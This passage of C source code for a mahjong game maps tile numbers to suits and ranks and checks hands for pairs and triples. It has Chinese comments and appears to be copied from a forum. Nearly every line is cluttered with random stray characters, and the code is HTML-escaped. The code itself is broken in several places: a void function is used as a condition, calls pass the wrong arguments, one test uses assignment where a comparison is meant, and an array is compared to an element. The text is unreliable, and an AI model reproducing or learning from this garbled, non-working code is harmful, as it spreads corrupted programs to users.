/ O8 ]1 [; k8 z$ x2 Qelse if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
$ ^, }  E/ L1 U6 E# `& F; @logoo=3;4 P, C# F! [( E' ?0 J- g+ ~
else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)3 F' N, V* W/ C% {# _/ f' ]# Q. O  u
logoo=4;2 O, N7 t" z* k. R1 o
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
; ^7 o5 p* u# d( d' Hlogoo=5;
( @$ _- Z. T: Helse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
$ k, s& y- t8 t! h  S2 `$ }logoo=6;
$ p+ e: Q; P$ Z# m8 pelse if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60): ]! V7 ~& J/ n' V
logoo=7;/ u" ~. k7 t7 W( N
else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
/ z; Q7 Z( n  ?, K4 e8 Ologoo=8;6 I( `  e8 f5 S& N0 s7 q
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)  [; ~: Q5 O6 [0 e& F
logoo=9;" P$ ~6 ^& }% P; Z- R0 o- |, w: k
}
0 i8 }) J6 O0 n# y/ ^else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)' r' E* |. T5 r7 [7 N+ O. [; k
{0 K! y6 C  V7 X, i! l
logo=3;
3 h& G, C( H0 P" _  r) lif(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
. s( Y) x) A$ T# p) E2 nlogoo=1;. K5 g2 {( J) g6 Q# R% q
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76), O! }( g" H, L6 \$ {
logoo=2;' Z: F, h1 S0 G/ V) H: D: g
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)! L) s2 {1 |# {! @6 w
logoo=3;
2 y, |4 K& H* [( t+ P2 Felse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)% c& B; J2 u9 j9 x! F; V
logoo=4;
- ^+ X( N/ U, p: ~  celse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
: @- x6 c* n; W' W" Jlogoo=5;  M6 D3 m0 ^, u& h# m) l, a5 s
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)( j: Q+ b' J& b0 g( N5 N. C
logoo=6;2 A( T; a& }1 ]3 I
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)' s( K( R, W, W. V) t6 I
logoo=7;
6 j7 O: \8 ]5 a/ r( P% Q& Selse if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)) `3 y7 P4 w$ o% O0 o
logoo=8;% d- v1 G' A* u& U5 n
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
# ]$ }4 c" y! y' b: P0 H! B' slogoo=9;
: x$ g7 {8 X. }, e; c5 N' Z! W}$ c5 g" {& n& W9 \% q
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)" ]# V3 F& N$ M+ ^" A$ e
{3 G- s& L; G: ]- B
logo=4;
- X$ m. O; Z! q; Dif(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)' N7 o1 c4 K( S2 e1 y& l# _
logoo=1;
; f. `/ d" b) j, ^  z- K9 melse if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
  r8 S9 }1 P6 i2 dlogoo=2;: q! ]/ \+ N( `) ~7 z6 G
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116); f* [1 N7 S5 B) p# t3 u
logoo=3;
* q+ A* b) A+ Q  ~+ pelse if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)7 M) p8 n8 m3 D" [; @
logoo=4;
% F( @9 Y3 A0 o1 ~else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124). G9 _% Q# T9 x! B
logoo=5;0 `* {- I9 @2 _: J; U9 V
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)) M& [+ C2 h. i( p4 ]5 E) I
logoo=6;
9 \7 N4 w. @: T# U9 Celse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)1 u& B; b7 Y- d4 r% o
logoo=7;
/ k6 l  _- _( R* e0 Z}
  A+ d& c3 d# A; s5 l' Xwhile(b&lt;=me.m)
* a4 x% I( a7 D{
- o5 r7 ]( Z- d) a) q. Cif(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
' ?3 i3 V4 c8 f{
0 f; w3 \& T6 _: I( @5 `2 _% clg=1;
( Z. D: p; Z2 tme.pp.d[0]=1;
0 V, t  E$ ?+ o' U4 ?if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)+ Y: \0 g: W6 M( f' I- G4 Y
{
, {6 d% P; [% _, i: }! j( E7 zlgg=1;
4 m9 I% W" t% Hme.pp.d[1]=1;6 @6 m2 r, r: O; G
}& x1 q, l8 X2 f
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
1 e7 t/ l$ j- R1 [{
0 G0 T- m( d: vlgg=2;% E# m1 o5 f& i" N
me.pp.d[1]=2;
1 t& B% w7 F2 P5 H% H$ T}
6 n0 v# u, D" n1 belse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)3 ~% a; ~4 K8 w
{7 K% E" F& s! t; `" C3 G" o$ U
lgg=3;
; z/ {/ c! Z0 l( `4 Yme.pp.d[1]=3;
6 C+ _' B. Y' o. X3 s+ H; [- A}+ n' e) T7 r' v4 R4 ?9 ~! O# E
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)7 p! y0 s3 E. i; x( Z
{
9 X* R$ a4 u3 e7 ?  l4 c. Ilgg=4;
8 f) Q5 V6 s" d) hme.pp.d[1]=4;8 }* ~5 |7 o/ h9 C
}7 D3 q" o- r. O
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)7 N2 B$ {( g: b
{' }+ A5 S0 D* M2 O* I( j
lgg=5;' O, v' l2 i' b
me.pp.d[1]=5;* p3 H6 l$ ?( R
}) K0 ?0 P5 p0 h' E! _5 j) @8 k
else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)9 ], w. t& P6 C  R4 U8 ~& t
{
: P0 d6 w9 W5 r% B, r' `/ Dlgg=6;5 l5 s' u9 h, O6 c! a. b3 L
me.pp.d[1]=6;* a& b  b, a" S9 D; ]6 T) J
}+ |# \# }. @- M# t) ^
else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
9 ?+ g( L! M- c{4 k0 _5 w8 u" J3 O
lgg=7;+ I0 p' j" z- v+ Q& u7 m
me.pp.d[1]=7;7 U  u* i% e5 X9 B1 {5 t. J
}
: K9 ]: \2 {' ]0 {else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
3 y! H4 \9 m5 O$ z' m9 z% e{
( V% N0 C9 r/ k, |1 @* Mlgg=8;6 w2 [" S: Z8 L  h  m
me.pp.d[1]=8;
0 y8 p* R/ H* r1 _: P# b9 V}
7 T  Y6 K& U. j5 K0 r% A1 `7 zelse if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)7 f- B; s: e( E! Z% T: m8 [# V5 k  h
{
- J# ]% [7 V8 s+ _  y( l# Xlgg=9;
6 c; A3 m& X! U; E5 Qme.pp.d[1]=9;
& I# Z- n: b; X  B$ y! @! C) j- d. P2 `}
  d+ P0 h1 S5 c2 j0 v; F* a}; q0 H! x- b# v6 |
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)& n  O$ Z1 a, f; N, R! Y( K
{( W; b* E' B; h' ~- R' o. j4 j
lg=2;
+ G. U0 J& g- y- b$ o3 lme.pp.d[0]=2;7 g+ c! L7 l& a6 N
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36); F; O4 J/ r7 i% v; x
{
) r. Q! Y0 d) c, x6 olgg=1;
# H6 ^9 M7 _- eme.pp.d[1]=1;8 [- l' u1 _# Q, X
}2 s& v# @( ]2 g2 `7 ^0 H5 V
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)7 m5 E. t2 |+ E- r
{
: B6 ~9 j' o9 G, |: n* w# |2 Nlgg=2;
4 N; z& n4 T8 B% N! G! F2 f2 \, N7 yme.pp.d[1]=2;2 [( q: j, S8 H8 [0 v' y: H
}
3 t% K9 H( s; gelse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
& P3 K7 w1 o3 \6 p1 }. F" X{
0 R6 B0 F& O, {; E1 I* @lgg=3;7 q8 t6 u& |5 s3 p3 F
me.pp.d[1]=3;8 {& i8 C5 I- ]  P
}
- a$ ^- J# D# E7 T, _else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)& x+ Q$ I: a" W
{
$ ?- ~- A% ]- K, B8 d0 Nlgg=4;* z; \/ b8 v1 b; w3 H; q
me.pp.d[1]=4;
2 d) W8 Y( C& v}; J! E6 d, [0 B1 a, s- u# L
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
  r; `3 [5 z# G; W0 H{
* z- F6 T1 l2 _) K) _/ z% algg=5;
7 I6 j. h4 J, R' l6 dme.pp.d[1]=5;/ X  d, @& [4 U6 l0 E
}
: t- U! V/ \% p1 C! ^; L2 Z& xelse if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
3 N! i: _9 k1 [$ j{  U* b5 v4 j- L7 f
lgg=6;
% F6 W+ Y3 C$ cme.pp.d[1]=6;
+ m4 m- u9 Y- k( V( u}* a) ^: `: C& r3 |: p
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)& P3 r: `6 W3 F9 V* W( Y/ c
{3 U/ l+ X" @) n# K" d# n
lgg=7;
0 j/ \7 U& d3 T, F0 Bme.pp.d[1]=7;
5 j" i' @  k$ z" w0 H  g}, x- n% r6 M! E
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)" ^: q! h5 F# j3 U
{
; W0 \8 B& C8 r5 `* algg=8;
$ |# Z6 @; L; P. z3 g( I% T3 tme.pp.d[1]=8;6 B. h' c& ~/ q! d9 }$ Q
}
) V: G* ]  Z9 Z2 i; yelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)3 A- @% y3 `  k4 U; a4 P
{( |' B% ?7 T  N1 k
lgg=9;& W7 Y1 P0 c3 i( g* F- w
me.pp.d[1]=9;: b( W, l: e) B" z9 f% k
}
8 F! P( G8 o! W- z9 {}
& y2 r: a' O) y0 C0 b3 M  R1 Ielse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
/ n& k0 t  a; E  @3 L! B5 O{2 x0 k9 r. u. J1 B( Q5 P7 c! F
lg=3;" [( V; u0 ^  q5 I
me.pp.d[0]=3;$ P, P5 X+ s: K/ H4 d1 K
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)( x: ?0 ]; R: [# L3 n( x
{
) H: A  @& ^: nlgg=1;  C/ h- Y# T) B; F4 W! d
me.pp.d[1]=1;
: R6 n: z) ?# C}$ X. P& D/ p/ n- v$ |# I( @
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)8 N6 D: q. k/ X* a
{
( v- }" P8 i0 w' v% |lgg=2;
2 {/ G% `5 Q' e5 w1 ~me.pp.d[1]=2;
, {! q- R: [  o: n) f' ^+ b; ?}' B# n$ [" e! i/ Y
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
& j. A( C' K& l4 b- v{
) j/ [* Y& V1 V5 a; Glgg=3;5 C) H6 y: l! F  n& V% W/ F
me.pp.d[1]=3;
( j  |1 n% Q4 R8 t}
4 T' L( |8 H/ D( K3 I7 {else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)" E5 Z5 @, p) C" \* g- M/ r1 p
{
. r5 t4 H! W$ Ylgg=4;
: F) ]3 p) c8 U- i: V; A  E* Ime.pp.d[1]=4;
2 p! L' R2 m+ u! |( X+ V3 m( e}
3 }# K( }8 p* \4 ~else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)  ^, P/ G! ?4 ?( H/ ]
{
3 x5 z7 M+ k( k# d9 S( c7 }: Tlgg=5;
" c% j; p  G; M2 h# D2 l0 P: rme.pp.d[1]=5;9 P% @" {9 F$ g) s: n% A
}! s# I! P, i; j$ W( f) J$ w
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
% U# t7 m, |6 S% G- T4 _7 C{
& L# I. F% B0 r1 t8 J0 qlgg=6;
9 B9 m1 }. I7 }0 ]+ I9 C0 ?7 Xme.pp.d[1]=6;
' @, z/ A, C  o  `8 q3 \4 ^}  b8 T( x, j, e
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
& j% Z$ T5 g# V6 ?{+ d' a# z9 V& j) [( b/ Z2 l
lgg=7;& @, k4 {+ i5 L' y! w9 h) {
me.pp.d[1]=7;
5 h6 F. m$ J5 A* r. F- d}
! w4 a* Q- ]) |1 l% celse if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)% @' K5 J; u) {8 d
{2 n% T8 w0 m/ w) s7 {* J
lgg=8;  e6 A4 S5 U- a' d. A
me.pp.d[1]=8;
, i) G# B7 j7 p- k}! Q6 ]: w% `7 e3 G$ r
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)- `; Q3 f/ \3 \6 }5 z
{
' c3 Y4 Y; U6 }% _+ [& n% algg=9;
+ |9 ^' N0 T* D2 B# G7 X# ume.pp.d[1]=9;
* ~) J  s! r* c7 ^4 p8 v}
  _" ~1 n7 H( L8 i8 L5 O2 w}3 o: T+ l8 g4 k* x2 }( p/ s
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108); p" l. S5 W" Y2 y2 `) K2 d; v6 j% p
{
5 z' C& G9 J; ], L. Nlg=4;* o! ]) ^  z6 a  X, ^5 s) D
me.pp.d[0]=4;. F; V1 Y6 j, `4 Y
if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)4 M3 M. f1 v9 a1 H% J. U2 }0 g. q
{
. d8 @! s4 \. klgg=1;
( N! z2 i7 I1 e  n: lme.pp.d[1]=1;
7 q9 u( }6 d& j' [3 U7 N: e}( p6 _( v% I4 _6 G
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112): t* c1 G. b. W7 ~4 F
{
: ~  B9 U  s; o* ^$ |& Ilgg=2;; r! D& @" F2 e9 e' |
me.pp.d[1]=2;
4 y+ u: b" j3 R0 c4 V- Z7 x}8 q: A7 T1 e8 d" w7 x0 T) r
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
  [0 u4 y% L' N; d6 u# Z{; \4 z1 k5 e) ~" L9 X+ l- J
lgg=3;
, E' \" U3 U- ^& L$ ime.pp.d[1]=3;3 n* `5 P$ Z# k
}2 e3 ?( C; G! J  m" c8 l# T
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)* G9 |2 i$ }, h5 d
{: D: U. u' h$ _- v& k0 A4 R  |
lgg=4;
$ j* m2 a* S# q/ s( rme.pp.d[1]=4;
# X6 I5 D. h! |) }9 g}
: M+ _' {$ u+ d* G  r% pelse if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
" K* H/ ], }3 L' w) d{; Z- O; k: S" s; t+ D
lgg=5;
4 C* d$ `3 B4 u- F) D, n2 y2 i- kme.pp.d[1]=5;+ D% r+ F; T/ i5 Z' r/ G
}
- i* z+ B* A0 Jelse if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)" F, M  ^8 m) O' C7 X. a% I
{
0 [9 }2 E) p+ O. w6 l# Flgg=6;5 E% Y: |( f$ u" _* K/ q: [
me.pp.d[1]=6;! p9 U, J& H3 W/ o3 L
}
( A2 |/ ?( e0 h, ^* n# [- p7 uelse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)5 ~0 y3 R, y$ _0 F# D  m
{
; x0 D7 q0 a/ K! V2 G! Vlgg=7;, N5 {" P1 T% j; y
me.pp.d[1]=7;
* U; B5 n3 K" r0 \" Y: G9 }}
8 {3 v6 ?, F1 R6 B) A3 W: |) l}1 }6 D1 Y  \8 S' v0 Z# \
}
7 x9 f9 h( Z' ~( L4 \}
8 P4 }6 E0 P' U, X" r! ~8 {+ P! qvoid istwo(testt)
" [1 Q: ^( @8 f1 {$ Kint testt[];
6 T+ X9 `+ X5 V6 ?" l8 k8 K) U/ E0 w4 ?{ if(testt[0]==testt[1])) k1 W  F4 J4 m# t  m6 O: F' S) J) y
second++;
. p5 E  U" e$ S$ n}
+ P/ r  K5 k( l4 ], f! Jvoid isthree(testt,n)/ L: E8 a& k5 n3 B0 a5 j* u
int testt[],n=0;- f+ }! {' A) c! w3 |( s, b
{ int i,j,flage=0,lianx=0,same=0;& g  E# g0 a: y( Q' m6 P
n=n/3;
& ]# X7 q; R/ Y3 Z- V4 u! P+ z% cfor(j=0;j&lt;n;j++)
9 h$ Q, ?$ K; D{1 F) h4 w9 S" d. R
for(i=j*3;i&lt;2+j*3;i++)
5 H; h9 y: g3 Q" ]# k# u0 s% y{
. e8 F9 P& l1 \- h7 c% N4 t* ?if(testt==testt[i+1])
' a: e6 y; l# z. q; esame++;' C0 z1 }1 {. f7 L
if(testt[i+1]-testt==1)5 X2 a4 V; r0 L$ J  _
lianx++;
9 E7 S, j, A4 K  b3 y/ x}. m: ]: w' F. Y- ~
if(same==2)* O' I, `4 f9 i0 j6 J. p& k7 ~# k& F
threes++;: |5 T% ?1 C- ]6 Y  T
if(lianx==2)) t/ X( e& L/ Z
threes++;- f1 M- w6 {- O5 {' R
same=0;' N1 y$ J# j  ~! G8 W% q( V- M0 K( ?
lianx=0;
8 O- q; a9 [+ B- ^/ C}
7 S6 u; O, u2 r* i; Q: C9 }9 s6 z}
- l* }1 ^5 P5 x+ k  p. Z% L2 L- Lvoid panduan() /*本程序的精髓*/7 p8 R& ~( }. @* q8 m4 `
{int data[14];; r0 [2 T7 U, X! Y7 y+ E
int pw[14];6 }% Y; [. ]. d8 [$ U9 x
int pt[14];0 i" X: u2 C8 n
int pi[14];
6 L+ Y7 L& d* O- Xint pf[14];3 c9 h+ p8 o$ B  o8 o
int test[12];
- Q1 y5 E0 i% @7 dint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;. C+ _! U+ G% S0 N
for(jj=0;jj&lt;=me.m;jj++)
% ~) o7 p- K: H6 i4 E& v  l{( U: m7 A% |+ e, Q" F: h
if(me.pp[jj].d[0]==1); ?. z' B8 t0 h3 E
data[jj]=me.pp[jj].d[1];5 L8 H- ?( ^1 d0 L0 W  S' }7 _
if(me.pp[jj].d[0]==2)- S1 M! j0 @4 i
data[jj]=me.pp[jj].d[1]+10;. o# F# R9 W- t
if(me.pp[jj].d[0]==3)
1 o( C9 q9 E1 B3 ^data[jj]=me.pp[jj].d[1]+20;' l5 e) V+ D  W$ L; N
if(me.pp[jj].d[0]==4)0 t6 Z8 r0 b: y+ \
data[jj]=me.pp[jj].d[1]+30;  S* V' O* R( ]
}
8 A- L# S7 a, Z3 G& R, |2 ?1 Lif(logo==2)
9 X& H' g+ P4 w+ P* v* g$ ?( Mw=logoo+10;1 C* G, s: a4 Z) P7 T' X/ f: p
if(logo==3)# t) C' I/ ]  v0 N7 h8 c" H% L
w=logoo+20;( s3 N* w- Y1 N
if(logo==4)! Q# s" [- I% H5 S
w=logoo+30;
1 O$ P. e' o6 p( e1 D! m, u2 Udata[computer.m+1]=w;
7 Y" q8 y9 ~! G) w5 _* l% ]for(mm=0;mm&lt;=computer.m;mm++)
% p4 d+ N8 b' \1 e: c" R' vfor(nn=mm;nn&lt;=computer.m;nn++)
% o" D- L! y7 J3 j3 ]+ D* _if(data[mm]&gt;data[nn+1])- e! s  Q. u2 Y1 C( X1 _3 e
{' Z! v7 _1 e: H3 j
tpp=data[mm];
7 o9 g9 Q# e" d( cdata[mm]=data[nn+1];+ ]. u' u$ L: X5 J
data[nn+1]=tpp;
9 E$ v7 h8 F$ E. ^8 }}
. ]" f/ p! @1 [; W/ Y! klp=0;
* L  R) N) ?' M: k( n5 Xwhile(lp&lt;=computer.m)
$ y6 \2 k" T$ Y* l! c2 L, t6 s+ f{ if(data[lp]&lt;10)
' l7 z& m& o/ x2 E, i3 ipw[ww++]=data[lp];) m0 u8 {; D# r9 r: @/ c
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)9 Q+ ~6 E8 I( ?
pt[tt++]=data[lp];
$ Y, K2 Z9 k4 C2 C) @: Yif(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
. V" U$ f$ x' a& b$ Lpi[ii++]=data[lp];
: V" X- J8 F% j5 N; b; G0 Tif(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
" c+ c& ?# p+ s) V0 T/ L1 gpf[ff++]=data[lp];7 D0 _  _- j6 G7 U
lp++;
9 t7 s! U2 u+ |  [}' i, h3 @* t' G- A
if(ww==2)9 H' C- a7 i3 O; w4 ~7 j7 x
istwo(pw);
& b) P0 U' j$ G+ N7 ]9 Aelse if(ww==3)+ x: S2 \6 X+ q& m6 {
isthree(pw,ww);! b4 e4 S% u5 Q" D3 b3 M
else if(ww==5)
% X5 F! ]1 @  @" |  J3 R4 r4 i5 ?/*pw[5]原始牌数组,假设已经升序排列*/
9 J! I5 W5 e' L# \2 [. d/*test[3]用来放置测试牌的数组*/
" ~1 P8 E$ ~8 C  H% L8 Vfor(i=0;i&lt;4;i++); v! w& z. }3 Q* a) Z3 A! W) d
{2 d  u- L( y: N% u
for(j=0;j&lt;2;j++)
4 F8 m3 V' J. A2 `- m5 {# Y{test[j]=pw[i+j];
6 T$ }' `7 X6 v6 h7 P. x& ]}
0 |, u5 k+ O8 i) N! [: K0 G$ Lif(istwo(test))1 k" U/ R" \# j, E
{ ill=0;/ q& n- K( |8 ~- @* n. F
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
: u/ \+ {* D* E& R2 V) Q{if(kl==i)
% k" s- A; n' i7 [8 A6 O) V1 Q{
/ K" n, r  f! bkl=kl+2;- a5 L% k+ f" V2 K, o7 ]& Q  A2 ]# d' H
if(kl==5)
8 }  X; h* [! l& bbreak;
7 \# M) t0 B" H3 G) {8 ?}! B' @' U6 J* a
test[ill++]=pw[kl];
8 p! S: j/ h  j& Z  U4 v}% r+ W& T3 n; R  W
isthree(test);
1 f/ e, Y2 k$ K}
4 [8 P/ e( @3 ]4 o, F' m}4 c4 b) X+ \; R9 g+ f# _
else if(ww==6)' l0 Z& S2 e" o
isthree(pw,ww); . d% w8 H- _! A# v( U
else if(ww==8)/ j  z" s9 Q; d
for(i=0;i&lt;7;i++)" A2 s# U* E' z- ~0 R7 |4 T- _& @
{
3 Q7 u0 \7 x4 X) H: X' Afor(j=0;j&lt;2;j++)' ]& o- }' C8 a& J
{test[j]=pw[i+j];
8 f  ~( w4 \  `9 Z- |4 _}
# ?3 q" k$ x2 L4 R! r7 Oif(istwo(test))
" C. M1 U' [8 f5 l# p; C/ _8 E{ ill=0;
5 q0 {! d0 w  A8 l' T. c+ r2 zfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
- b1 b: f. V3 o{if(kl==i)9 o1 Q* ^: B, E
{
7 m' Q) e4 ?" `  J! L& y4 lkl=kl+2;* X$ {" f' b% e6 b
if(kl==8)
$ n4 d5 v- \9 ^4 C6 [' fbreak;) t0 @$ C, I& C3 M: q
}6 G/ l$ Y. Y; @# e9 ^) Q
test[ill++]=pw[kl];
2 h7 v5 P& @6 h$ [" Y- ]}
; Q' |# P. V" P# M6 oisthree(test,ww-2); , I. }0 a% ?- Z. M8 p
}0 w6 b+ ]1 M" U) m' v3 }# }
} ! Z- `$ z, c9 @  M+ E8 G
else if(ww==9)
. a- u4 L( O3 S& t# `" A  Zisthree(pw,ww);8 Y; t; ?2 {( l2 ~9 E; c
else if(ww==11)
) ~9 Z" s% d$ Qfor(i=0;i&lt;10;i++)
( g0 ?! Y) E! \( m5 R' [{. x" c' K/ }' q+ M$ f  R7 j
for(j=0;j&lt;2;j++)& x( o4 ]+ |/ s* j/ [, y1 M# R
{test[j]=pw[i+j]; ! W, z7 ~: A( D6 M% K: O
}
; |& X8 n- d1 h8 `: {; v( \% Dif(istwo(test))9 h2 _) o. S* D% s  ]/ s) v4 z
{ ill=0;- ?! @4 \+ j4 l, ^  i
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
* |4 C# A7 F; G& e2 O. q+ U2 {{if(kl==i)/ C# [7 j6 P  v' w" R
{
+ m; G2 w9 h1 l* Pkl=kl+2;
2 K0 _$ Z3 u! p% Jif(kl==11)7 r# E2 T/ w, T% Y9 T
break;; A7 X" l& c+ P. W0 \: E
}
* Y: n# g; J9 g, L; }test[ill++]=pw[kl];
9 }$ \- j7 ]/ k" j+ V; b}
$ `1 s) E/ n" Risthree(test,ww-2);
3 z& [$ P1 F( x}- A- }, `6 j8 K( K& k4 b, [+ Y
}
& ?0 r3 }$ r3 K- P  v, eelse if(ww=12)5 f# d3 l/ t3 P' o
isthree(pw,ww);0 C) O" P6 f5 a( r& F
else if(ww=14)+ o. R0 g, I# O" z% w. ^
for(i=0;i&lt;13;i++)
, ]: b$ d& b: ?5 {* N- w; C" f1 p{
, K. K8 L3 m" n# V/ p% d* Ofor(j=0;j&lt;2;j++)
* C. B, p5 b& G! ~) L{test[j]=pw[i+j];  z+ p% o1 X# E
}+ I  y9 l9 n- L) F$ B% K+ k
if(istwo(test))
0 i; O* q) Z8 d6 b' d" L{ ill=0;6 q. }# m1 j% z: d4 q
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
" G  X! K; l. H# _% |{if(kl==i)% K2 B& u6 E$ i
{
" Y; ~$ H* W# ]kl=kl+2;
5 g8 k- L7 w+ D1 rif(kl==14)
+ M- U! ]: g# b* W0 zbreak;' y7 g6 \+ B- ^* |. E  O0 o6 D
}- |8 q/ j# h) e2 h
test[ill++]=pw[kl];
" o1 k4 W7 S* J8 ]}0 v6 x* ?, V% ~, ], ^
isthree(test,ww-2);
. G6 y' F9 V, ^9 e+ e+ a}
$ Y. b& H, y$ C$ w* Z: V}6 Y8 k& I  Z, _$ m4 @
if(tt==2)3 f- d: j; |  N. w
istwo(pt);; S0 X8 n. x& z. t8 P* e. K1 v
else if(tt==3)) }4 V# ?7 ]4 K+ x
isthree(pt,tt);
3 B( |' _: m- L4 j- Z7 d$ t% Jelse if(tt==5)
5 I5 \% w: b1 u7 i' _! _" Z/*pt[5]原始牌数组,假设已经升序排列*/  E- i& u9 n1 d" |8 U$ F
/*test[3]用来放置测试牌的数组*/7 B  K# R. L3 v; ?' I. m# L
for(i=0;i&lt;4;i++)
# W: W& `0 P% M* \6 H4 a3 x{2 ]) V# W7 W. ^2 D
for(j=0;j&lt;2;j++)- W: Q- f1 w# a
{test[j]=pt[i+j];
2 j  c* ^  w% [2 u. i) k}, ]# `# I0 i7 K" u2 Q1 F" w; L
if(istwo(test))3 X; g" X# \3 t  W8 F
{ ill=0;
: z- J0 B) S$ {  Z! C& Sfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
. J' k& {$ x# W  c3 {, ^{if(kl==i)
" c; e; y5 U. F; x7 _1 l2 a{  `7 ~) \$ c4 S2 W4 c9 i6 o: C
kl=kl+2;, S8 w) c5 {7 k' g! U/ }) u; Q5 w
if(kl==5)
2 l- v9 e* V3 j. Tbreak;
2 _8 ^$ M# |" Z* p}
; B2 |. M# O! X& R! Ktest[ill++]=pt[kl];  C6 K; q- V, Z4 D3 W$ f& V
}1 y  |/ r% L/ {, c2 w2 ~
isthree(test);* o/ r: w$ y6 ]' i% T& s7 q
}$ ?: v' b; @- p/ T7 t1 h
}! e4 d+ _* P: H) i
else if(tt==6)
# t4 h+ c1 ]. }# ~* H+ u$ [) jisthree(pt,tt); , p% H0 P0 W( }0 W" j, k" v
else if(tt==8)* k5 H6 s, S" s& U! y% a9 M! @! j
for(i=0;i&lt;7;i++)
6 s6 w' g- h  f{( P$ y& a# g. x5 L/ \( Q
for(j=0;j&lt;2;j++)
) I! }3 s! A* R( o! q' H; {( o$ [{test[j]=pt[i+j]; 0 s& @9 e3 g. m: [7 r
}
# F7 ?" _5 S; q3 f' Dif(istwo(test))
1 C1 [3 e3 {! n; k# M{ ill=0;0 o; b0 e* @8 W4 h% J1 v
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/7 v* U. S8 p* H6 Y" l
{if(kl==i)$ w9 {* z# T6 R. A
{/ d7 `- c4 W1 V5 V3 w" O; _
kl=kl+2;  N' n/ V' ]( P; l" b; G
if(kl==8)
# @7 H) e! _( b8 \9 Rbreak;
2 c+ @' e$ [. V/ A& j- p( C}
& @8 l1 z. P/ {" {6 d; b0 Btest[ill++]=pt[kl];- L/ Y/ W: P1 L/ f. C! J# a) j
}
